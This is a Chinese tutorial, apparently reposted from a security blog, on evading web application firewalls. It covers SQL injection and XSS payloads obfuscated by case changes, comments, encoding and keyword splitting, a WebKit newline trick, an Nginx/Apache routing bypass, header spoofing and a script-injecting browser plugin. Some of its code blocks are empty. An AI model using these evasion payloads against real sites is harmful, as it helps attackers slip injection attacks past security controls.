1.如何繞過WAF(Web應用防火牆)


一:大小寫轉換法:

看字面就知道是什么意思了,就是把大寫的小寫,小寫的大寫。比如:

SQL:sEleCt vERsIoN();
‍‍XSS:<sCrIpt>alert(1)</script>

出現原因:在waf里,使用的正則不完善或者是沒有用大小寫轉換函數

二:干擾字符污染法:

空字符、空格、TAB換行、注釋、特殊的函數等等都可以。比如下面的:

SQL:sEleCt+1-1+vERsIoN   /*!*/       ();`yohehe‍‍
‍‍SQL2:select/*!*/`version`();

XSS:下面一節會仔細的介紹

出現原因:利用網站使用的語言函數特性來繞過waf的規則或者使用會無視的字符

三:字符編碼法:

就是對一些字符進行編碼,常見的SQL編碼有unicode、HEX、URL、ascll、base64等,XSS編碼有:HTML、URL、ASCII、JS編碼、base64等等

SQL:load_file(0x633A2F77696E646F77732F6D792E696E69)
‍‍‍‍XSS:<script%20src%3D"http%3A%2F%2F0300.0250.0000.0001"><%2Fscript>

出現原因:利用瀏覽器上的進制轉換或者語言編碼規則來繞過waf

四:拼湊法:

如果過濾了某些字符串,我們可以在他們兩邊加上“原有字符串”的一部分。

SQL:selselectect verversionsion();
‍‍‍‍XSS:<scr<script>rip>alalertert</scr</script>rip>

出現原因:利用waf的不完整性,只驗證一次字符串或者過濾的字符串並不完整。

本節是告訴大家,waf總會有自己缺陷的,任何事物都不可能完美。

0×03站在webkit角度來說繞過WAF:

可能這時會有人問到,說繞過WAF,怎么跑到webkit上去了。嗯,你沒有看錯,我也沒有瘋。之說以站在webkit角度來講繞過WAF,是因為各個代碼的功能是由瀏覽器來解析的。那瀏覽器中誰又負責解析呢?那就是webkit, 既然要說到webkit,那就不得不提webkit下的解析器——詞法分析器,因為我們在繞過的時候,就是利用解析器中的詞法分析器來完成。

就比如一個簡單的繞過WAF的XSS代碼:

 

<iframe src="java
script:alert(1)" height=0 width=0 /><iframe> <!--Java和script是回車,al和ert是Tab換行符-->

 

他可以彈窗,可以為什么他可以彈窗呢?這里面有回車、換行符啊。想要理解,我們來看看webkit下的Source/javascriptcore/parser/lexer.cpp是怎么聲明的吧。

 while (m_current != stringQuoteCharacter)
 {        
       if (UNLIKELY(m_current =='\\')) 
      {            
             if (stringStart != currentSourcePtr() && shouldBuildStrings)
                             append8(stringStart, currentSourcePtr() - stringStart);       
                             shift();            
                             LChar escape = singleEscape(m_current);                   
             if (escape) 
            {                
                            if (shouldBuildStrings)                    
                           record8(escape);                
                            shift();            
            } 
       } 
       else if (UNLIKELY(isLineTerminator(m_current)))               
                  shiftLineTerminator();

 

注意倒數第二行里的isLineTerminator函數。這里我來說說大致的意思:所有的內容都在一個字符串里,用while逐字解析,遇到換行就跳過。然后在拼成一個沒有分割符的字符串,所以這時的XSS代碼成功彈窗了。

Webkit里的詞法分析器里除了跳過換行符,還會跳過什么字符呢?

子曰:還有回車等分隔符。

根據webkit詞法分析器的機制,我們就可以寫更多的猥瑣xss代碼。

下面再說說這個注意事項:

<iframe src="java
script:alert(1)" height=0 width=0 /><iframe>  <!--這個可以彈窗-->
<iframe src=java
script:alert(1); height=0 width=0 /><iframe>  <!--這個不可以彈窗-->

因為在webkit的詞法分析器里,跳過回車、換行等分隔符時有個前提,那就是必須用單/雙引號圍住,不然不會跳過。因為如果不使用引號,詞法分析器會認為 回車、換行就是結束了,如果你運行上面這段代碼,webkit會把java當做地址傳給src。詞法分析器跳過的前提就是建立在引號里的,切記。

這里在說一個:

回車、換行只在屬性中引號里才會起作用。如果你對標簽或者屬性用 回車、換行,這時你大可放心,決對不會彈窗。而且在屬

性值里 回車、換行隨便用。如果空格出現在xss代碼里並不會彈窗,但是如果出現在字符和符號之前,就可以彈了。如圖:

注意事項:

跳過回車和換行,不支持on事件。例如下面的代碼

 

<a href="javascript:alert(1)">xss</a>會彈窗,但是下面的代碼就不行了
‍‍‍‍<a href="#" onclick="alert(1)">s</a>可見加了Tab換行,就無法彈窗了。但是還是支持字符和符號之間加入空格的。

本節就是告訴大家,想要玩的更好,最好追溯到底層,從底層來看攻擊手法,你會發現很多問題迎刃而解。

0×04 利用Nginx&Apache環境 BUG來繞過waf:

這個bug比較雞肋,需要在nginx&apache環境,而且管理員較大意。

這是一個不是bug的bug。

當網站采用前端Nginx,后端Apache時,需要在conf配置,當遇到PHP后綴的時候,把請求交給Apache處理。但是Nginx判斷后綴是否為PHP的原理是根據URL的。也就是說如果當URL的后綴不是PHP的時候,他並不會把PHP教給Apache處理。

配置:

 

乍一看,沒什么問題。但是這里隱藏一個漏洞。

我在test目錄建立一個index.php:

 

利用nginx&apache這個bug,再加上瀏覽器默認會隱藏index.php文件名,那么漏洞就來了。

訪問a.cn/test/index.php?text=<script>alert(1)</script>不會彈窗,被waf.conf給攔截了。

訪問a.cn/test/?text=<script>alert(1)</script>會彈窗,沒有被waf.conf給攔截,因為nginx根據URL判斷這不是php文件,並沒有交給apache處理,也就沒有走第三個location流程。

 

本節是告訴大家,繞過WAF不用一直針對WAF,也可以利用環境/第三方的缺陷來繞過。

0×05 從HTTP數據包開始說起:

一:現在有一部分網站waf是部署在客戶端上的,利用burp、fiddler就可以輕松繞過。

很多時候我們遇到的情況就像這段代碼一樣:

<input type="text" name="text">
‍‍‍‍<input type="submit" onclick="waf()">

把waf規則放到js里。我們可以提交一個woaini字符串,然后用burp、fiddler抓包、改包、提交,輕輕松松的繞過了客服端的WAF機制。

二:有的網站,他們對百度、google、soso、360等爬蟲請求並不過濾,這時我們就可以在USER-Agent偽造自己是搜索引擎的爬蟲,就可以繞過waf

三:有的網站使用的是$_REQUEST來接受get post cookie參數的,這時如果waf只對GET POST參數過濾了,那么久可以在數據包里對cookie進行構造攻擊代碼,來實現繞過waf。

四:有的waf對GET POST COOKIE都過濾了,還可以進行繞過。怎么繞過呢?

假設網站會顯示你的IP或者你使用的瀏覽器,那么你就可以對IP、user-agent進行構造,在PHP里X_FORWARDED_FOR和HTTP_CLIENT_IP兩個獲取IP的函數都可以被修改。

想詳細了解的可以去:http://www.freebuf.com/articles/web/42727.html 0×06節。

本節告訴我們waf是死的,人是活的,思想放開。不要跟着WAF的思路走,走出自己的思路,才是最正確的。

0×06 WAF你算個屌:

很多人認為繞過WAF需要根據WAF的規則來繞過。但是我們可以忽視他,進行攻擊。

我們利用第三方插件來進行攻擊,因為第三方插件的權限非常大,而且他有一個特殊的性質,就是他可以跨域。

我們可以事先在插件里調用一個js代碼,對方安裝之后瀏覽任何網站都可以被XSS。

我們現在來看段Maxthon插件的源碼:

def.Json:

 

test.js:

 

統一放在一個文件夾里,再用Mxpacke.exe生成一個遨游插件。

 

雙擊就可以安裝這個插件。

這不算是一個漏洞,因為插件必須要運行js代碼,而XSS的宗旨就是 在網站里運行你所指定的js代碼。所以,這個xss沒辦法修復,而且chrome 火狐 等瀏覽器都存在。


免責聲明!

本站轉載的文章為個人學習借鑒使用,本站對版權不負任何法律責任。如果侵犯了您的隱私權益,請聯系本站郵箱yoyou2525@163.com刪除。



 
粵ICP備18138465號   © 2018-2025 CODEPRJ.COM